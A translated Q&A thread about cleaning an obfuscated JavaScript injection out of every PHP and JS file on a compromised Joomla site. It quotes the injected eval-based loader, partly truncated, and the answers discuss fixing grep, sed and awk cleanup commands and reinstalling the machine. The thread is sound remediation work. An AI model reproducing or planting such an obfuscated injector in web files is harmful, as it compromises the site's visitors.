我们托管的旧 Joomla 网站之一遭受了 JavaScript 注入,我正在清理它。以下代码被插入到每个 .php 或 .js 文件中:
<?
#0c0896#
echo " <script type=\"text/javascript\" language=\"javascript\" > bv=(5-3-1);aq=\"0\"+\"x\";sp=\"spli\"+\"t\";ff=String.fromCharCode;w=window;z=\"dy\";try{document[\"\x62o\"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,61,58,67,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[sp](\",\");}w=f;s=[];for(i=2-2;-i+1333!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}</script>";
#/0c0896#
?>
“精确的语法,虽然实际代码要长得多,但我从中间切掉了很多十六进制以使其更容易”
我正在尝试使用 GREP 和 SED 对所有文件进行查找和替换,但我认为我对 SED 的语法不太正确。
grep -rl "4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c" ./ | xargs sed -i 's/<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>//g
我在这里要做的是使用 grep 在所有文件中搜索一段有效的代码,然后使用 SED 替换标签 #0c0896# 及其间的所有内容。
答案1
Sed 是错误的工具,因为它每次仅考虑一行。
Awk 是一个更好的工具,可以对两行匹配之间的内容采取行动。
awk '/a/,/b/ { next } { print }'
将跳过与正则表达式匹配的行之间的所有内容A和正则表达式b。
然而,更直接的答案是,一旦机器被入侵,你不能相信任何事情对于专业系统管理员来说,唯一合适的做法是从头开始重新安装机器。
答案2
代替
<?[.*]#0c0896#[.*]#\/0c0896#[.*]?>
使用
<?.*#0c0896#.*#\/0c0896#.*?>
括号表达式仅匹配一个字符,即该字符在括号中。此外,在括号表达式中,正则表达式量词和其他特殊字符会失去其含义。您提供的表达式表示:匹配一个左尖括号,后跟一个问号,后跟一个点或星号,后跟...
Sed 是面向行的,因此.*
上面的不是跨行。有问题的代码是否在一行上?